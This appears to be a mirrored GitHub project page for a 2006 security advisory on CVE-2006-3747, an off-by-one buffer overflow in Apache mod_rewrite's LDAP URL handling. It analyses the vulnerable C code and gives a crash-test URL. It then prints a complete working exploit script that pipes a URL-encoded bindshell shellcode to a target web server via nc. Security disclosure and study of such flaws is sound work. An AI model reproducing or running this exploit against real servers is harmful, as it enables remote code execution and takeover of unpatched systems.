二进制漏洞>> CVE-2006-3747>> 返回
项目作者： defensahacker

项目描述 ：
Information about my advisory on CVE-2006-3747 (Apache mod_rewrite LDAP off-by-one buffer overflow).. At the time, it was the first public working exploit :)
高级语言： HTML
项目地址: git://github.com/defensahacker/CVE-2006-3747.git
创建时间： 2016-11-26T00:20:33Z
项目社区：https://github.com/defensahacker/CVE-2006-3747
开源协议：
下载


Files about my bugtraq publication and first working exploit for CVE-2006-3747 (Apache mod_rewrite LDAP off-by-one buffer overflow).

(http://www.securityfocus.com/archive/1/443870)

  • Public release date of POC/Exploit: 2006-08-20
  • Author: Jacobo Avariento Gimeno
  • CVE id: CVE-2006-3747
  • Bugtraq id: 19204
  • CERT advisory: VU#395412
  • Severity: high
  • CVSS v2 Base Score: 7.6 HIGH (AV:N/AC:H/Au:N/C:C/I:C/A:C)

Introduction

On July 28 2006 Mark Dowd (McAfee Avert Labs) reported a vulnerability
found in mod_rewrite apache module to the bugtraq mailing list.
The vulnerable function is escape_absolute_uri() and the problem only
could be arised when mod_rewrite is dealing with an LDAP URL, a
malformed LDAP URL could trigger an off-by-one overflow in certain
(special) situations and a possible attacker could cause a
denial-of-service or execute arbitrary code with the privileges of
the apache user.
To exploit this vulnerability isn’t necessary an LDAP-specific rule,
but must have a rule which the user can control the inital part of the
remapped URL, i.e.:

  1. RewriteRule foo/(.*) $1

Any version of the Apache HTTP server:

  • 1.3 branch: >1.3.28 and <1.3.37
  • 2.0 branch: >2.0.46 and <2.0.59
  • 2.2 branch: >2.2.0 and <2.2.3
    is vulnerable.

Analysis of the vulnerable code

  1. 2696 /* escape absolute uri, which may or may not be path oriented.
  2. 2697 * So let's handle them differently.
  3. 2698 */
  4. 2699 static char *escape_absolute_uri(ap_pool *p, char *uri,
  5. unsigned scheme)
  6. 2700 {
  7. 2701 char *cp;
  8. 2702 ...
  9. ...
  10. 2727 /* special thing for ldap.
  11. 2728 * The parts are separated by question marks. From RFC 2255:
  12. 2729 * ldapurl = scheme "://" [hostport] ["/"
  13. 2730 * [dn ["?" [attributes] ["?" [scope]
  14. 2731 * ["?" [filter] ["?" extensions]]]]]]
  15. 2732 */
  16. 2733 if (!strncasecmp(uri, "ldap", 4)) {
  17. 2734 char *token[5];
  18. 2735 int c = 0;
  19. 2736
  20. 2737 token[0] = cp = ap_pstrdup(p, cp);
  21. 2738 while (*cp && c < 5) {
  22. 2739 if (*cp == '?') {
  23. 2740 token[++c] = cp + 1;
  24. 2741 *cp = '\0';
  25. 2742 }
  26. 2743 ++cp;
  27. 2744 }

In the case that an LDAP URI contains a fifth ‘?’ the line 2740 causes
an off-by-one overflow, it’s writing in token[5].
To exploit this problem is necessary a vulnerable apache version and a
specific stack frame layout.

Proof of concept

To know if your apache vulnerable version could be successful
exploited, write this rule in your httpd.conf or .htaccess file:

  1. RewriteRule kung/(.*) $1
  3. And try to access to the following URL:
  4. /kung/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA%
  5. 3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB

If your web server doesn’t reply you with a ‘302 Found’ page or a
Segmentation Fault appears in your error_log, an apache child has
crashed and your web server is vulnerable and exploitable.

Exploit

This exploit was successful executed on Apache 1.3.34, debian
sarge package:

  1. #!/bin/sh
  2. # Exploit for Apache mod_rewrite off-by-one.
  3. # Vulnerability discovered by Mark Dowd.
  4. # CVE-2006-3747
  5. #
  6. # by jack <jack\x40gulcas\x2Eorg>
  7. # 2006-08-20
  8. #
  9. # Thx to xuso for help me with the shellcode.
  10. #
  11. # I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
  12. # you must recalculate adressess.
  13. #
  14. # Shellcode is based on Taeho Oh bindshell on port 30464 and modified
  15. # for avoiding apache url-escape.. Take a look is quite nice ;)
  16. #
  17. # Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
  18. # 0x0834ae77 for any other version/system find it.
  19. #
  20. # Gulcas rulez :P
  22. echo -e "mod_rewrite apache off-by-one overflow\nby jack <jack\x40gulcas
  23. \x2eorg>\n\n"
  25. if [ $# -ne 1 ] ; then
  26. echo "Usage: $0 webserver"
  27. exit
  28. fi
  30. host=$1
  32. echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6%
  33. 31%c0%31 %db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3%
  34. 01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04%
  35. 31%c0%89%46%10%b0%10%89%46%08% b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66%
  36. b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31%
  37. c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8%
  38. 23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76%
  39. 08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db%
  41. cd %80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%
  42. 77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\nHost:
  43. $host\r\n\r\n" | nc $host 80

~~ Jacobo Avariento Gimeno